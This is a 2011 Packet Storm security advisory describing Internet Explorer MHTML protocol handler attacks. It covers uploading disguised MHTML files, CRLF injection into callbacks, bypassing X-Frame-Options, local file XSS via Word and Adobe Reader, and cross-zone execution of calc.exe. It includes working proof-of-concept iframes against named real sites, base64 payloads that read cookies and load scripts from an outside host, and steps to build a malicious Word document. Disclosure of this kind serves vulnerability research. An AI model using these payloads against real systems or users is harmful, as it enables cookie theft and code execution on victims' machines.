Microsoft Internet Explorer MHTML Cross Site Scripting

2011-01-28T00:00:00
ID PACKETSTORM:97980
Type packetstorm
Reporter 80vul
Modified 2011-01-28T00:00:00

Description

                                        
                                            `Hacking with mhtml protocol handler  
  
Author: www.80vul.com [Email:5up3rh3i#gmail.com]  
Release Date: 2011/1/15  
References: http://www.80vul.com/mhtml/Hacking%20with%20mhtml%20protocol%20handler.txt  
  
Ph4nt0m Webzine 0x05 (http://secinn.appspot.com/pstzine) Was finally released yesterday, There are two articles about the browser security[0x05 and 0x06].If the combination of both, we can complete a lot of interesting attacks...  
  
1.Cross Site Scripting by upload mhtml file  
  
Using the mhtml protocol handler,The file extension is ignored.so the attacker use renname the mhtml file to a *.jpg file,etc. then upload it to the target site...  
  
ofcouser ,we can use "copy /b 1.jpg + 1.mhtml 2.jpg" to bypass some upload file format security restrictions  
  
then use iframe tag src to it:  
  
<iframe src="MHTML:http://target-site.com/upfile/demo.html!cookie"></iframe>  
  
2.Cross Site Scripting mhtml-file string injection  
  
the mhtml-file format is only base on CRLF,so if we can injection CRLF, the site may be attacked.  
  
poc:  
  
test it on win7 system pls.  
  
<iframe src="mhtml:http://www.tudou.com/my/channel/item.srv?icode=enQCgQKJTDs&callback=Content-Type%3A%20multipart%2Frelated%3B%20boundary%3D_boundary_by_mere%0D%0A%0D%0A--_boundary_by_mere%0D%0AContent-Location%3Acookie%0D%0AContent-Transfer-Encoding%3Abase64%0D%0A%0D%0APGJvZHk%2BDQo8aWZyYW1lIGlkPWlmciBzcmM9Imh0dHA6Ly93d3cuODB2dWwuY29tLyI%2BPC9pZnJhbWU%2BDQo8c2NyaXB0Pg0KYWxlcnQoZG9jdW1lbnQuY29va2llKTsNCmZ1bmN0aW9uIGNyb3NzY29va2llKCl7DQppZnIgPSBpZnIuY29udGVudFdpbmRvdyA%2FIGlmci5jb250ZW50V2luZG93IDogaWZyLmNvbnRlbnREb2N1bWVudDsNCmFsZXJ0KGlmci5kb2N1bWVudC5jb29raWUpDQp9DQpzZXRUaW1lb3V0KCJjcm9zc2Nvb2tpZSgpIiwxMDAwKTsNCjwvc2NyaXB0PjwvYm9keT4NCg%3D%3D%0D%0A--_boundary_by_mere--%0D%0A!cookie"></iframe>  
  
if win-xp or win2k3 system,pls do it by the second urlencode.  
  
mhtml-file string injection in JOSN file, some sites restrict the JOSN file's Content-Type to defense xss. maybe we can use mhtml-file string injection to pass it :)  
  
3.bypass X-Frame-Options  
  
X-Frame-Options did not protect the mhtml protocol handler.  
  
the demo:  
  
<iframe src="mhtml:http://www.80vul.com/mhtml/zz.php!cookie"></iframe>  
<iframe src="http://www.80vul.com/mhtml/zz.php"></iframe>  
  
4.mhtml+file://uncpath+Adobe Reader 9 == local xss vul  
  
Billy (BK) Rios introduced a very interesting approach to Steal local files on the RuxCon/Baythreat(https://xs-sniper.com/blog/2010/12/17/will-it-blend/) ,it used "Script src to local files in the LocalLow directory" by file:// +java apple +Adobe Reader+Adobe flash to complete it. but if used mhtml+file://uncpath, so easy to do it.  
  
Demo:  
  
test it on win2k3+ie8+Adobe Reader 9  
  
http://www.80vul.com/hackgame/xs-g0.php?username=Administrator  
  
  
5.mhtml+file://uncpath+word == local xss vul  
  
demo:http://www.80vul.com/mhtml/word.doc  
  
download it, and save it on c:\word.doc and open it. u can get the alert c:\boot.ini 's content.  
  
this is base on "Microsoft word javascript execution"(http://marc.info/?l=bugtraq&m=121121432823704&w=2).  
  
to make the proof of concept follow the following steps:  
  
1-Make a html file and paste xss code  
2-Open the html file with the word and save as c:\word.xml  
3-Open the word.xml with the notepad,and inject the mhtml code in <w:t>aaaaa </w:t>  
4-Rename c:\word.xml to c:\word.doc  
5-Open c:\word.doc file  
  
xss code  
---------------------------------------------------------  
<html><OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=http://www.80vul.com/hackgame/word.htm></OBJECT>  
aaaaa  
----------------------------------------------------------  
  
mhtml code  
--------------------------------------------------------  
/*  
Content-Type: multipart/related; boundary="_boundary_by_mere":  
  
--_boundary_by_mere  
Content-Location:cookie  
Content-Transfer-Encoding:base64  
  
PGJvZHk+DQo8c2NyaXB0IHNyYz0naHR0cDovL3d3dy44MHZ1bC5jb20vaGFja2dhbWUvZ28uanMnPjwvc2NyaXB0Pg0KPC9ib2R5Pg0K  
--_boundary_by_mere--  
  
*/  
--------------------------------------------------------  
  
if u use this vul to attack someone,u need to known the word file path where save the download file. and lots of guns used on the desktop :)  
  
"Microsoft word javascript execution" is only work on office 2k3 and 2k7, In other versions u can make the link, and src to http://www.80vul.com/hackgame/word.htm  
  
update  
ofcouse ,this way maybe work on anoher file type like:*.pdf by app.launchURL()  
  
  
6. Coss Zone Scripting  
  
First we would like to mention a very old vulnerability:  
  
<OBJECT CLASSID=CLSID:12345678-1234-4321-1234-111111111111 CODEBASE=c:/winnt/system32/calc.exe></OBJECT>  
  
This vulnerability (by firebug9[http://hi.baidu.com/firebug9/blog/item/b7627c4624cd880f6a63e5e7.html]) allows you to execute any program on "My Computer" zone,Been tested and found to this vul work on ie6/ie7/ie8+win2k/winxp/win2k3  
  
Then repeat "5.mhtml+file://uncpath+word == local xss vul" steps and change:  
  
xss code  
---------------------------------------------------------  
<html><OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=mhtml:file://c:/word.doc!cookie></OBJECT>  
aaaaa  
----------------------------------------------------------  
  
mhtml code  
--------------------------------------------------------  
/*  
Content-Type: multipart/related; boundary="_boundary_by_mere":  
  
--_boundary_by_mere  
Content-Location:cookie  
Content-Transfer-Encoding:base64  
  
PE9CSkVDVCBDTEFTU0lEPUNMU0lEOjEyMzQ1Njc4LTEyMzQtNDMyMS0xMjM0LTExMTExMTExMTExMSBDT0RFQkFTRT1jOi93aW5kb3dzL3N5c3RlbTMyL2NhbGMuZXhlPjwvT0JKRUNUPg==  
--_boundary_by_mere--  
  
*/  
--------------------------------------------------------  
  
  
thx d4rkwind(http://hi.baidu.com/d4rkwind/) for his excellent paper.  
  
  
About Ph4nt0m Webzine  
  
Ph4nt0m Webzine is a free network Security Magazine,We accept articles in English and Chinese, you are welcome contributions .  
mailto:root_at_ph4nt0m.org pls.thank you!  
  
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